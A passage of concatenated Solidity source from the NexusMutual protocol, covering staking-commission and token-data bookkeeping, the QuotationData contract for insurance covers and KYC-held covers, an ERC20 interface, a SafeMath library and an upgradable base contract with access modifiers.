mapping(address => uint) public lastCompletedStakeCommission;
/**
* @dev mapping of the staked contract address to the current
* staker index who will receive commission.
*/
mapping(address => uint) public stakedContractCurrentCommissionIndex;
/**
* @dev mapping of the staked contract address to the
* current staker index to burn token from.
*/
mapping(address => uint) public stakedContractCurrentBurnIndex;
/**
* @dev mapping to return true if Cover Note deposited against coverId
*/
mapping(uint => CoverNote) public depositedCN;
mapping(address => uint) internal isBookedTokens;
event Commission(
address indexed stakedContractAddress,
address indexed stakerAddress,
uint indexed scIndex,
uint commissionAmount
);
constructor(address payable _walletAdd) public {
walletAddress = _walletAdd;
bookTime = 12 hours;
joiningFee = 2000000000000000; // 0.002 Ether
lockTokenTimeAfterCoverExp = 35 days;
scValidDays = 250;
lockCADays = 7 days;
lockMVDays = 2 days;
stakerCommissionPer = 20;
stakerMaxCommissionPer = 50;
tokenExponent = 4;
priceStep = 1000;
}
/**
* @dev Change the wallet address which receive Joining Fee
*/
function changeWalletAddress(address payable _address) external onlyInternal {
walletAddress = _address;
}
/**
* @dev Gets Uint Parameters of a code
* @param code whose details we want
* @return string value of the code
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "TOKEXP") {
val = tokenExponent;
} else if (code == "TOKSTEP") {
val = priceStep;
} else if (code == "RALOCKT") {
val = scValidDays;
} else if (code == "RACOMM") {
val = stakerCommissionPer;
} else if (code == "RAMAXC") {
val = stakerMaxCommissionPer;
} else if (code == "CABOOKT") {
val = bookTime / (1 hours);
} else if (code == "CALOCKT") {
val = lockCADays / (1 days);
} else if (code == "MVLOCKT") {
val = lockMVDays / (1 days);
} else if (code == "QUOLOCKT") {
val = lockTokenTimeAfterCoverExp / (1 days);
} else if (code == "JOINFEE") {
val = joiningFee;
}
}
/**
* @dev Just for interface
*/
function changeDependentContractAddress() public {//solhint-disable-line
}
/**
* @dev to get the contract staked by a staker
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return the address of staked contract
*/
function getStakerStakedContractByIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (address stakedContractAddress)
{
stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
}
/**
* @dev to get the staker's staked burned
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return amount burned
*/
function getStakerStakedBurnedByIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint burnedAmount)
{
burnedAmount = stakerStakedContracts[
_stakerAddress][_stakerIndex].burnedAmount;
}
/**
* @dev to get the staker's staked unlockable before the last burn
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return unlockable staked tokens
*/
function getStakerStakedUnlockableBeforeLastBurnByIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint unlockable)
{
unlockable = stakerStakedContracts[
_stakerAddress][_stakerIndex].unLockableBeforeLastBurn;
}
/**
* @dev to get the staker's staked contract index
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return is the index of the smart contract address
*/
function getStakerStakedContractIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint scIndex)
{
scIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
}
/**
* @dev to get the staker index of the staked contract
* @param _stakedContractAddress is the address of the staked contract
* @param _stakedContractIndex is the index of staked contract
* @return is the index of the staker
*/
function getStakedContractStakerIndex(
address _stakedContractAddress,
uint _stakedContractIndex
)
public
view
returns (uint sIndex)
{
sIndex = stakedContractStakers[
_stakedContractAddress][_stakedContractIndex].stakerIndex;
}
/**
* @dev to get the staker's initial staked amount on the contract
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return staked amount
*/
function getStakerInitialStakedAmountOnContract(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint amount)
{
amount = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakeAmount;
}
/**
* @dev to get the staker's staked contract length
* @param _stakerAddress is the address of the staker
* @return length of staked contract
*/
function getStakerStakedContractLength(
address _stakerAddress
)
public
view
returns (uint length)
{
length = stakerStakedContracts[_stakerAddress].length;
}
/**
* @dev to get the staker's unlocked tokens which were staked
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return amount
*/
function getStakerUnlockedStakedTokens(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint amount)
{
amount = stakerStakedContracts[
_stakerAddress][_stakerIndex].unlockedAmount;
}
/**
* @dev pushes the unlocked staked tokens by a staker.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker to distribute commission.
* @param _amount amount to be given as commission.
*/
function pushUnlockedStakedTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].unlockedAmount = stakerStakedContracts[_stakerAddress][
_stakerIndex].unlockedAmount.add(_amount);
}
/**
* @dev pushes the Burned tokens for a staker.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker.
* @param _amount amount to be burned.
*/
function pushBurnedTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].burnedAmount = stakerStakedContracts[_stakerAddress][
_stakerIndex].burnedAmount.add(_amount);
}
/**
* @dev pushes the unLockable tokens for a staker before last burn.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker.
* @param _amount amount to be added to unlockable.
*/
function pushUnlockableBeforeLastBurnTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].unLockableBeforeLastBurn = stakerStakedContracts[_stakerAddress][
_stakerIndex].unLockableBeforeLastBurn.add(_amount);
}
/**
* @dev sets the unLockable tokens for a staker before last burn.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker.
* @param _amount amount to be added to unlockable.
*/
function setUnlockableBeforeLastBurnTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].unLockableBeforeLastBurn = _amount;
}
/**
* @dev pushes the earned commission earned by a staker.
* @param _stakerAddress address of staker.
* @param _stakedContractAddress address of smart contract.
* @param _stakedContractIndex index of the staker to distribute commission.
* @param _commissionAmount amount to be given as commission.
*/
function pushEarnedStakeCommissions(
address _stakerAddress,
address _stakedContractAddress,
uint _stakedContractIndex,
uint _commissionAmount
)
public
onlyInternal
{
stakedContractStakeCommission[_stakedContractAddress][_stakedContractIndex].
commissionEarned = stakedContractStakeCommission[_stakedContractAddress][
_stakedContractIndex].commissionEarned.add(_commissionAmount);
emit Commission(
_stakerAddress,
_stakedContractAddress,
_stakedContractIndex,
_commissionAmount
);
}
/**
* @dev pushes the redeemed commission redeemed by a staker.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker to distribute commission.
* @param _amount amount to be given as commission.
*/
function pushRedeemedStakeCommissions(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
uint stakedContractIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
address stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
stakedContractStakeCommission[stakedContractAddress][stakedContractIndex].
commissionRedeemed = stakedContractStakeCommission[
stakedContractAddress][stakedContractIndex].commissionRedeemed.add(_amount);
}
/**
* @dev Gets stake commission given to an underwriter
* for particular stakedcontract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
*/
function getStakerEarnedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint)
{
return _getStakerEarnedStakeCommission(_stakerAddress, _stakerIndex);
}
/**
* @dev Gets stake commission redeemed by an underwriter
* for particular staked contract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
* @return commissionEarned total amount given to staker.
*/
function getStakerRedeemedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint)
{
return _getStakerRedeemedStakeCommission(_stakerAddress, _stakerIndex);
}
/**
* @dev Gets total stake commission given to an underwriter
* @param _stakerAddress address of staker.
* @return totalCommissionEarned total commission earned by staker.
*/
function getStakerTotalEarnedStakeCommission(
address _stakerAddress
)
public
view
returns (uint totalCommissionEarned)
{
totalCommissionEarned = 0;
for (uint i = 0; i < stakerStakedContracts[_stakerAddress].length; i++) {
totalCommissionEarned = totalCommissionEarned.
add(_getStakerEarnedStakeCommission(_stakerAddress, i));
}
}
/**
* @dev Gets total stake commission given to an underwriter
* @param _stakerAddress address of staker.
* @return totalCommissionEarned total commission earned by staker.
*/
function getStakerTotalReedmedStakeCommission(
address _stakerAddress
)
public
view
returns (uint totalCommissionRedeemed)
{
totalCommissionRedeemed = 0;
for (uint i = 0; i < stakerStakedContracts[_stakerAddress].length; i++) {
totalCommissionRedeemed = totalCommissionRedeemed.add(
_getStakerRedeemedStakeCommission(_stakerAddress, i));
}
}
/**
* @dev set flag to deposit/ undeposit cover note
* against a cover Id
* @param coverId coverId of Cover
* @param flag true/false for deposit/undeposit
*/
function setDepositCN(uint coverId, bool flag) public onlyInternal {
if (flag == true) {
require(!depositedCN[coverId].isDeposited, "Cover note already deposited");
}
depositedCN[coverId].isDeposited = flag;
}
/**
* @dev set locked cover note amount
* against a cover Id
* @param coverId coverId of Cover
* @param amount amount of nxm to be locked
*/
function setDepositCNAmount(uint coverId, uint amount) public onlyInternal {
depositedCN[coverId].amount = amount;
}
/**
* @dev to get the staker address on a staked contract
* @param _stakedContractAddress is the address of the staked contract in concern
* @param _stakedContractIndex is the index of staked contract's index
* @return address of staker
*/
function getStakedContractStakerByIndex(
address _stakedContractAddress,
uint _stakedContractIndex
)
public
view
returns (address stakerAddress)
{
stakerAddress = stakedContractStakers[
_stakedContractAddress][_stakedContractIndex].stakerAddress;
}
/**
* @dev to get the length of stakers on a staked contract
* @param _stakedContractAddress is the address of the staked contract in concern
* @return length in concern
*/
function getStakedContractStakersLength(
address _stakedContractAddress
)
public
view
returns (uint length)
{
length = stakedContractStakers[_stakedContractAddress].length;
}
/**
* @dev Adds a new stake record.
* @param _stakerAddress staker address.
* @param _stakedContractAddress smart contract address.
* @param _amount amountof NXM to be staked.
*/
function addStake(
address _stakerAddress,
address _stakedContractAddress,
uint _amount
)
public
onlyInternal
returns (uint scIndex)
{
scIndex = (stakedContractStakers[_stakedContractAddress].push(
Staker(_stakerAddress, stakerStakedContracts[_stakerAddress].length))).sub(1);
stakerStakedContracts[_stakerAddress].push(
Stake(_stakedContractAddress, scIndex, now, _amount, 0, 0, 0));
}
/**
* @dev books the user's tokens for maintaining Assessor Velocity,
* i.e. once a token is used to cast a vote as a Claims assessor,
* @param _of user's address.
*/
function bookCATokens(address _of) public onlyInternal {
require(!isCATokensBooked(_of), "Tokens already booked");
isBookedTokens[_of] = now.add(bookTime);
}
/**
* @dev to know if claim assessor's tokens are booked or not
* @param _of is the claim assessor's address in concern
* @return boolean representing the status of tokens booked
*/
function isCATokensBooked(address _of) public view returns (bool res) {
if (now < isBookedTokens[_of])
res = true;
}
/**
* @dev Sets the index which will receive commission.
* @param _stakedContractAddress smart contract address.
* @param _index current index.
*/
function setStakedContractCurrentCommissionIndex(
address _stakedContractAddress,
uint _index
)
public
onlyInternal
{
stakedContractCurrentCommissionIndex[_stakedContractAddress] = _index;
}
/**
* @dev Sets the last complete commission index
* @param _stakerAddress smart contract address.
* @param _index current index.
*/
function setLastCompletedStakeCommissionIndex(
address _stakerAddress,
uint _index
)
public
onlyInternal
{
lastCompletedStakeCommission[_stakerAddress] = _index;
}
/**
* @dev Sets the index till which commission is distrubuted.
* @param _stakedContractAddress smart contract address.
* @param _index current index.
*/
function setStakedContractCurrentBurnIndex(
address _stakedContractAddress,
uint _index
)
public
onlyInternal
{
stakedContractCurrentBurnIndex[_stakedContractAddress] = _index;
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "TOKEXP") {
_setTokenExponent(val);
} else if (code == "TOKSTEP") {
_setPriceStep(val);
} else if (code == "RALOCKT") {
_changeSCValidDays(val);
} else if (code == "RACOMM") {
_setStakerCommissionPer(val);
} else if (code == "RAMAXC") {
_setStakerMaxCommissionPer(val);
} else if (code == "CABOOKT") {
_changeBookTime(val * 1 hours);
} else if (code == "CALOCKT") {
_changelockCADays(val * 1 days);
} else if (code == "MVLOCKT") {
_changelockMVDays(val * 1 days);
} else if (code == "QUOLOCKT") {
_setLockTokenTimeAfterCoverExp(val * 1 days);
} else if (code == "JOINFEE") {
_setJoiningFee(val);
} else {
revert("Invalid param code");
}
}
/**
* @dev Internal function to get stake commission given to an
* underwriter for particular stakedcontract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
*/
function _getStakerEarnedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
internal
view
returns (uint amount)
{
uint _stakedContractIndex;
address _stakedContractAddress;
_stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
_stakedContractIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
amount = stakedContractStakeCommission[
_stakedContractAddress][_stakedContractIndex].commissionEarned;
}
/**
* @dev Internal function to get stake commission redeemed by an
* underwriter for particular stakedcontract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
*/
function _getStakerRedeemedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
internal
view
returns (uint amount)
{
uint _stakedContractIndex;
address _stakedContractAddress;
_stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
_stakedContractIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
amount = stakedContractStakeCommission[
_stakedContractAddress][_stakedContractIndex].commissionRedeemed;
}
/**
* @dev to set the percentage of staker commission
* @param _val is new percentage value
*/
function _setStakerCommissionPer(uint _val) internal {
stakerCommissionPer = _val;
}
/**
* @dev to set the max percentage of staker commission
* @param _val is new percentage value
*/
function _setStakerMaxCommissionPer(uint _val) internal {
stakerMaxCommissionPer = _val;
}
/**
* @dev to set the token exponent value
* @param _val is new value
*/
function _setTokenExponent(uint _val) internal {
tokenExponent = _val;
}
/**
* @dev to set the price step
* @param _val is new value
*/
function _setPriceStep(uint _val) internal {
priceStep = _val;
}
/**
* @dev Changes number of days for which NXM needs to staked in case of underwriting
*/
function _changeSCValidDays(uint _days) internal {
scValidDays = _days;
}
/**
* @dev Changes the time period up to which tokens will be locked.
* Used to generate the validity period of tokens booked by
* a user for participating in claim's assessment/claim's voting.
*/
function _changeBookTime(uint _time) internal {
bookTime = _time;
}
/**
* @dev Changes lock CA days - number of days for which tokens
* are locked while submitting a vote.
*/
function _changelockCADays(uint _val) internal {
lockCADays = _val;
}
/**
* @dev Changes lock MV days - number of days for which tokens are locked
* while submitting a vote.
*/
function _changelockMVDays(uint _val) internal {
lockMVDays = _val;
}
/**
* @dev Changes extra lock period for a cover, post its expiry.
*/
function _setLockTokenTimeAfterCoverExp(uint time) internal {
lockTokenTimeAfterCoverExp = time;
}
/**
* @dev Set the joining fee for membership
*/
function _setJoiningFee(uint _amount) internal {
joiningFee = _amount;
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
contract QuotationData is Iupgradable {
using SafeMath for uint;
enum HCIDStatus {NA, kycPending, kycPass, kycFailedOrRefunded, kycPassNoCover}
enum CoverStatus {Active, ClaimAccepted, ClaimDenied, CoverExpired, ClaimSubmitted, Requested}
struct Cover {
address payable memberAddress;
bytes4 currencyCode;
uint sumAssured;
uint16 coverPeriod;
uint validUntil;
address scAddress;
uint premiumNXM;
}
struct HoldCover {
uint holdCoverId;
address payable userAddress;
address scAddress;
bytes4 coverCurr;
uint[] coverDetails;
uint16 coverPeriod;
}
address public authQuoteEngine;
mapping(bytes4 => uint) internal currencyCSA;
mapping(address => uint[]) internal userCover;
mapping(address => uint[]) public userHoldedCover;
mapping(address => bool) public refundEligible;
mapping(address => mapping(bytes4 => uint)) internal currencyCSAOfSCAdd;
mapping(uint => uint8) public coverStatus;
mapping(uint => uint) public holdedCoverIDStatus;
mapping(uint => bool) public timestampRepeated;
Cover[] internal allCovers;
HoldCover[] internal allCoverHolded;
uint public stlp;
uint public stl;
uint public pm;
uint public minDays;
uint public tokensRetained;
address public kycAuthAddress;
event CoverDetailsEvent(
uint indexed cid,
address scAdd,
uint sumAssured,
uint expiry,
uint premium,
uint premiumNXM,
bytes4 curr
);
event CoverStatusEvent(uint indexed cid, uint8 statusNum);
constructor(address _authQuoteAdd, address _kycAuthAdd) public {
authQuoteEngine = _authQuoteAdd;
kycAuthAddress = _kycAuthAdd;
stlp = 90;
stl = 100;
pm = 30;
minDays = 30;
tokensRetained = 10;
allCovers.push(Cover(address(0), "0x00", 0, 0, 0, address(0), 0));
uint[] memory arr = new uint[](1);
allCoverHolded.push(HoldCover(0, address(0), address(0), 0x00, arr, 0));
}
/// @dev Adds the amount in Total Sum Assured of a given currency of a given smart contract address.
/// @param _add Smart Contract Address.
/// @param _amount Amount to be added.
function addInTotalSumAssuredSC(address _add, bytes4 _curr, uint _amount) external onlyInternal {
currencyCSAOfSCAdd[_add][_curr] = currencyCSAOfSCAdd[_add][_curr].add(_amount);
}
/// @dev Subtracts the amount from Total Sum Assured of a given currency and smart contract address.
/// @param _add Smart Contract Address.
/// @param _amount Amount to be subtracted.
function subFromTotalSumAssuredSC(address _add, bytes4 _curr, uint _amount) external onlyInternal {
currencyCSAOfSCAdd[_add][_curr] = currencyCSAOfSCAdd[_add][_curr].sub(_amount);
}
/// @dev Subtracts the amount from Total Sum Assured of a given currency.
/// @param _curr Currency Name.
/// @param _amount Amount to be subtracted.
function subFromTotalSumAssured(bytes4 _curr, uint _amount) external onlyInternal {
currencyCSA[_curr] = currencyCSA[_curr].sub(_amount);
}
/// @dev Adds the amount in Total Sum Assured of a given currency.
/// @param _curr Currency Name.
/// @param _amount Amount to be added.
function addInTotalSumAssured(bytes4 _curr, uint _amount) external onlyInternal {
currencyCSA[_curr] = currencyCSA[_curr].add(_amount);
}
/// @dev sets bit for timestamp to avoid replay attacks.
function setTimestampRepeated(uint _timestamp) external onlyInternal {
timestampRepeated[_timestamp] = true;
}
/// @dev Creates a blank new cover.
function addCover(
uint16 _coverPeriod,
uint _sumAssured,
address payable _userAddress,
bytes4 _currencyCode,
address _scAddress,
uint premium,
uint premiumNXM
)
external
onlyInternal
{
uint expiryDate = now.add(uint(_coverPeriod).mul(1 days));
allCovers.push(Cover(_userAddress, _currencyCode,
_sumAssured, _coverPeriod, expiryDate, _scAddress, premiumNXM));
uint cid = allCovers.length.sub(1);
userCover[_userAddress].push(cid);
emit CoverDetailsEvent(cid, _scAddress, _sumAssured, expiryDate, premium, premiumNXM, _currencyCode);
}
/// @dev create holded cover which will process after verdict of KYC.
function addHoldCover(
address payable from,
address scAddress,
bytes4 coverCurr,
uint[] calldata coverDetails,
uint16 coverPeriod
)
external
onlyInternal
{
uint holdedCoverLen = allCoverHolded.length;
holdedCoverIDStatus[holdedCoverLen] = uint(HCIDStatus.kycPending);
allCoverHolded.push(HoldCover(holdedCoverLen, from, scAddress,
coverCurr, coverDetails, coverPeriod));
userHoldedCover[from].push(allCoverHolded.length.sub(1));
}
///@dev sets refund eligible bit.
///@param _add user address.
///@param status indicates if user have pending kyc.
function setRefundEligible(address _add, bool status) external onlyInternal {
refundEligible[_add] = status;
}
/// @dev to set current status of particular holded coverID (1 for not completed KYC,
/// 2 for KYC passed, 3 for failed KYC or full refunded,
/// 4 for KYC completed but cover not processed)
function setHoldedCoverIDStatus(uint holdedCoverID, uint status) external onlyInternal {
holdedCoverIDStatus[holdedCoverID] = status;
}
/**
* @dev to set address of kyc authentication
* @param _add is the new address
*/
function setKycAuthAddress(address _add) external onlyInternal {
kycAuthAddress = _add;
}
/// @dev Changes authorised address for generating quote off chain.
function changeAuthQuoteEngine(address _add) external onlyInternal {
authQuoteEngine = _add;
}
/**
* @dev Gets Uint Parameters of a code
* @param code whose details we want
* @return string value of the code
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "STLP") {
val = stlp;
} else if (code == "STL") {
val = stl;
} else if (code == "PM") {
val = pm;
} else if (code == "QUOMIND") {
val = minDays;
} else if (code == "QUOTOK") {
val = tokensRetained;
}
}
/// @dev Gets Product details.
/// @return _minDays minimum cover period.
/// @return _PM Profit margin.
/// @return _STL short term Load.
/// @return _STLP short term load period.
function getProductDetails()
external
view
returns (
uint _minDays,
uint _pm,
uint _stl,
uint _stlp
)
{
_minDays = minDays;
_pm = pm;
_stl = stl;
_stlp = stlp;
}
/// @dev Gets total number covers created till date.
function getCoverLength() external view returns (uint len) {
return (allCovers.length);
}
/// @dev Gets Authorised Engine address.
function getAuthQuoteEngine() external view returns (address _add) {
_add = authQuoteEngine;
}
/// @dev Gets the Total Sum Assured amount of a given currency.
function getTotalSumAssured(bytes4 _curr) external view returns (uint amount) {
amount = currencyCSA[_curr];
}
/// @dev Gets all the Cover ids generated by a given address.
/// @param _add User's address.
/// @return allCover array of covers.
function getAllCoversOfUser(address _add) external view returns (uint[] memory allCover) {
return (userCover[_add]);
}
/// @dev Gets total number of covers generated by a given address
function getUserCoverLength(address _add) external view returns (uint len) {
len = userCover[_add].length;
}
/// @dev Gets the status of a given cover.
function getCoverStatusNo(uint _cid) external view returns (uint8) {
return coverStatus[_cid];
}
/// @dev Gets the Cover Period (in days) of a given cover.
function getCoverPeriod(uint _cid) external view returns (uint32 cp) {
cp = allCovers[_cid].coverPeriod;
}
/// @dev Gets the Sum Assured Amount of a given cover.
function getCoverSumAssured(uint _cid) external view returns (uint sa) {
sa = allCovers[_cid].sumAssured;
}
/// @dev Gets the Currency Name in which a given cover is assured.
function getCurrencyOfCover(uint _cid) external view returns (bytes4 curr) {
curr = allCovers[_cid].currencyCode;
}
/// @dev Gets the validity date (timestamp) of a given cover.
function getValidityOfCover(uint _cid) external view returns (uint date) {
date = allCovers[_cid].validUntil;
}
/// @dev Gets Smart contract address of cover.
function getscAddressOfCover(uint _cid) external view returns (uint, address) {
return (_cid, allCovers[_cid].scAddress);
}
/// @dev Gets the owner address of a given cover.
function getCoverMemberAddress(uint _cid) external view returns (address payable _add) {
_add = allCovers[_cid].memberAddress;
}
/// @dev Gets the premium amount of a given cover in NXM.
function getCoverPremiumNXM(uint _cid) external view returns (uint _premiumNXM) {
_premiumNXM = allCovers[_cid].premiumNXM;
}
/// @dev Provides the details of a cover Id
/// @param _cid cover Id
/// @return memberAddress cover user address.
/// @return scAddress smart contract Address
/// @return currencyCode currency of cover
/// @return sumAssured sum assured of cover
/// @return premiumNXM premium in NXM
function getCoverDetailsByCoverID1(
uint _cid
)
external
view
returns (
uint cid,
address _memberAddress,
address _scAddress,
bytes4 _currencyCode,
uint _sumAssured,
uint premiumNXM
)
{
return (
_cid,
allCovers[_cid].memberAddress,
allCovers[_cid].scAddress,
allCovers[_cid].currencyCode,
allCovers[_cid].sumAssured,
allCovers[_cid].premiumNXM
);
}
/// @dev Provides details of a cover Id
/// @param _cid cover Id
/// @return status status of cover.
/// @return sumAssured Sum assurance of cover.
/// @return coverPeriod Cover Period of cover (in days).
/// @return validUntil is validity of cover.
function getCoverDetailsByCoverID2(
uint _cid
)
external
view
returns (
uint cid,
uint8 status,
uint sumAssured,
uint16 coverPeriod,
uint validUntil
)
{
return (
_cid,
coverStatus[_cid],
allCovers[_cid].sumAssured,
allCovers[_cid].coverPeriod,
allCovers[_cid].validUntil
);
}
/// @dev Provides details of a holded cover Id
/// @param _hcid holded cover Id
/// @return scAddress SmartCover address of cover.
/// @return coverCurr currency of cover.
/// @return coverPeriod Cover Period of cover (in days).
function getHoldedCoverDetailsByID1(
uint _hcid
)
external
view
returns (
uint hcid,
address scAddress,
bytes4 coverCurr,
uint16 coverPeriod
)
{
return (
_hcid,
allCoverHolded[_hcid].scAddress,
allCoverHolded[_hcid].coverCurr,
allCoverHolded[_hcid].coverPeriod
);
}
/// @dev Gets total number holded covers created till date.
function getUserHoldedCoverLength(address _add) external view returns (uint) {
return userHoldedCover[_add].length;
}
/// @dev Gets holded cover index by index of user holded covers.
function getUserHoldedCoverByIndex(address _add, uint index) external view returns (uint) {
return userHoldedCover[_add][index];
}
/// @dev Provides the details of a holded cover Id
/// @param _hcid holded cover Id
/// @return memberAddress holded cover user address.
/// @return coverDetails array contains SA, Cover Currency Price,Price in NXM, Expiration time of Qoute.
function getHoldedCoverDetailsByID2(
uint _hcid
)
external
view
returns (
uint hcid,
address payable memberAddress,
uint[] memory coverDetails
)
{
return (
_hcid,
allCoverHolded[_hcid].userAddress,
allCoverHolded[_hcid].coverDetails
);
}
/// @dev Gets the Total Sum Assured amount of a given currency and smart contract address.
function getTotalSumAssuredSC(address _add, bytes4 _curr) external view returns (uint amount) {
amount = currencyCSAOfSCAdd[_add][_curr];
}
//solhint-disable-next-line
function changeDependentContractAddress() public {}
/// @dev Changes the status of a given cover.
/// @param _cid cover Id.
/// @param _stat New status.
function changeCoverStatusNo(uint _cid, uint8 _stat) public onlyInternal {
coverStatus[_cid] = _stat;
emit CoverStatusEvent(_cid, _stat);
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "STLP") {
_changeSTLP(val);
} else if (code == "STL") {
_changeSTL(val);
} else if (code == "PM") {
_changePM(val);
} else if (code == "QUOMIND") {
_changeMinDays(val);
} else if (code == "QUOTOK") {
_setTokensRetained(val);
} else {
revert("Invalid param code");
}
}
/// @dev Changes the existing Profit Margin value
function _changePM(uint _pm) internal {
pm = _pm;
}
/// @dev Changes the existing Short Term Load Period (STLP) value.
function _changeSTLP(uint _stlp) internal {
stlp = _stlp;
}
/// @dev Changes the existing Short Term Load (STL) value.
function _changeSTL(uint _stl) internal {
stl = _stl;
}
/// @dev Changes the existing Minimum cover period (in days)
function _changeMinDays(uint _days) internal {
minDays = _days;
}
/**
* @dev to set the the amount of tokens retained
* @param val is the amount retained
*/
function _setTokensRetained(uint val) internal {
tokensRetained = val;
}
}
pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface OZIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library OZSafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
import "./INXMMaster.sol";
contract Iupgradable {
INXMMaster public ms;
address public nxMasterAddress;
modifier onlyInternal {
require(ms.isInternal(msg.sender));
_;
}
modifier isMemberAndcheckPause {
require(ms.isPause() == false && ms.isMember(msg.sender) == true);
_;
}
modifier onlyOwner {
require(ms.isOwner(msg.sender));
_;
}
modifier checkPause {
require(ms.isPause() == false);
_;
}
modifier isMember {
require(ms.isMember(msg.sender), "Not member");
_;
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public;
/**
* @dev change master address
* @param _masterAddress is the new address
*/
function changeMasterAddress(address _masterAddress) public {
if (address(ms) != address(0)) {
require(address(ms) == msg.sender, "Not master");
}
ms = INXMMaster(_masterAddress);
nxMasterAddress = _masterAddress;
}
}
pragma solidity ^0.5.0;
interface IPooledStaking {
